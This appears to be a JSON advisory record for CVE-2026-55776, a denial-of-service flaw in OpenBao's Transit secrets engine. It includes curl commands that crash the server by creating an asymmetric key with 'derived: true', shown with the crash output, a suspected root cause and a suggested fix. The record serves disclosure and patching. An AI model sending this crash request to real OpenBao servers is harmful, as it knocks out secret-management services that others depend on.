{"id":"GHSA-8w8f-r2xv-4q4j","revision":"a45d32021c46405d81fd9cf601c41ee9","records":[{"revision":"a45d32021c46405d81fd9cf601c41ee9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-8w8f-r2xv-4q4j","aliases":["BIT-openbao-2026-55776","CVE-2026-55776","GO-2026-5267"],"title":"OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types","description":"On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)\nwith `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.\n\n\nMount the transit engine:\n\n     `curl -sS -X POST -H \"X-Vault-Token: root\" \\\n       -d '{\"type\":\"transit\"}' \\\n       http://127.0.0.1:8200/v1/sys/mounts/transit`\n\nTrigger the crash:\n\n     `curl -sS -w '\\nHTTP %{http_code}\\n' -X POST \\\n       -H \"X-Vault-Token: root\" \\\n       -H \"Content-Type: application/json\" \\\n       -d '{\"type\":\"rsa-2048\",\"derived\":true,\"exportable\":true,\"deletion_allowed\":false}' \\\n       http://127.0.0.1:8200/v1/transit/keys/some-key-name`\n\nYou can try with both JSON or HCL It will crash the entire cluster.\n\n  Observed:\n     HTTP 000\n     curl: (52) Empty reply from server\n\n     $ docker ps -a --filter name=openbao\n     STATUS: Exited (2)\n\nRoot Cause (Hypothesis)\nKey-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or\n  invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path.\n\nSuggested fix:\nValidate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,\nxchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.","state":0,"publishedAt":"2026-06-19T21:42:09+00:00","modifiedAt":"2026-09-25T14:25:40.4114862+00:00","affected":[{"ecosystem":"Go","name":"github.com/openbao/openbao","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.1.0"},{"kind":"last_affected","version":"2.5.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/openbao/openbao","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260617104123-db57c62602b2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j","https://github.com/openbao/openbao/pull/3309","https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5","https://github.com/openbao/openbao","https://github.com/openbao/openbao/releases/tag/v2.5.5"],"sourceUrl":"https://github.com/advisories/GHSA-8w8f-r2xv-4q4j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8w8f-r2xv-4q4j","identifiers":["GHSA-8w8f-r2xv-4q4j","BIT-openbao-2026-55776","CVE-2026-55776","GO-2026-5267"]},"retained":false,"historicalAffected":[]}],"coverage":[]}